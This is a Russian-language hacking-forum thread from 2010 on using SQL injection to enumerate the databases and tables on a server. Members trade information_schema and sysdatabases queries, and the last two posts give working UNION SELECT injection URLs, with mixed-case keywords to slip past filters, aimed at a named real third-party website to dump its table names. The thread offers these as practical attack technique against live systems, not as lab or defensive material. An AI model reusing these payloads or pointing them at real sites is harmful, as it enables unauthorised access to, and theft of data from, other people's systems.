HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.06.2010, 19:47
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию

Или так:

Код:
select table_schema from information_schema.tables
 
Ответить с цитированием

  #2  
Старый 25.06.2010, 19:47
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами: 8982831

Репутация: 37
По умолчанию

Цитата:
Сообщение от .:[melkiy  
:."]
.:[melkiy]:. said:
Код:
select schema_name from information_schema.schemata
если так понял
Спсибо! То что нужно)
 
Ответить с цитированием

  #3  
Старый 25.06.2010, 19:52
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию

Цитата:
Сообщение от DrAssault  
Или так:
Код:
select table_schema from information_schema.tables
И что, в бд примерно 40 табл, group_concat() ограничен 512 символами.

40 табл находится в базе bla1.

Просто тупо, bla1 40 раз повторится. Не вариант.

// 2Konqi, даже так.

// manual говорит что 512.
 
Ответить с цитированием

  #4  
Старый 25.06.2010, 19:55
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от Ctacok  
И что, в бд примерно 40 табл, group_concat() ограничен 512 символами.
40 табл находится в базе bla1.
Просто тупо, bla1 40 раз повторится.
Не вариант
.
первый 16 будут information_schema
 
Ответить с цитированием

  #5  
Старый 25.06.2010, 20:07
auth_root
Новичок
Регистрация: 01.02.2010
Сообщений: 12
С нами: 8566197

Репутация: 18
По умолчанию

А если так

select concat_ws(0x3A3a,table_schema,table_name,column_na me) from information_schema.columns limit 1,1

и лимитом перебирать? Будет выводить к какой базе относится таблица и поле, так и узнаем все базы на серваке. Или я не правильно понял вопрос
 
Ответить с цитированием

  #6  
Старый 25.06.2010, 20:13
Iggy
Познающий
Регистрация: 24.06.2010
Сообщений: 95
С нами: 8360246

Репутация: 1
По умолчанию

Цитата:
Сообщение от ZARO  
Наверное тупой вопрос, но подскажите как через SQL инъекцию вывести список баз данных на сервере? Ну INFORMATION_SCHEMA это ясно, а вот как узнать другие?
(MSSQL)

Код:
use master
select * from sysdatabases
или

Код:
select name from master..sysdatabases
(MySQL)

Код:
SELECT CATALOG_NAME AS DataBaseName
FROM INFORMATION_SCHEMA.SCHEMATA
или

Код:
SELECT name AS DATABASENAME
FROM master.dbo.sysdatabases
 
Ответить с цитированием

  #7  
Старый 25.06.2010, 20:37
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию

Цитата:
Сообщение от Konqi  
первый 16 будут information_schema
Хорошая статья про group_concat, почитай.

Код:
/thread118842.html
 
Ответить с цитированием

  #8  
Старый 25.06.2010, 21:02
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от FlaktW  
Хорошая статья про group_concat, почитай.
Код:
/thread118842.html

прости если я что то не так написал, просто я NooB в этих делах, что я не правильно сказал ?
 
Ответить с цитированием

  #9  
Старый 25.06.2010, 22:49
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

can'not get tables....

Код:
http://www.infoimobiliar.ro/news.php?id=-597+uNioN+seLecT+1,2,unhex%28hex%28group_concat%28table_name%29%29%29,4,5,6,7,8,9+from+information_schema.tables--
 
Ответить с цитированием

  #10  
Старый 25.06.2010, 22:53
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от 547  
can'not get tables....
Код:
http://www.infoimobiliar.ro/news.php?id=-597+uNioN+seLecT+1,2,unhex%28hex%28group_concat%28table_name%29%29%29,4,5,6,7,8,9+from+information_schema.tables--
http://www.infoimobiliar.ro/news.php?id=-597+uNioN+seLecT+1,2,3,4,5,GrOuP_CoNcAt(TaBlE_NaMe ),7,8,9+from+information_schema.columns--

вывод в title
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...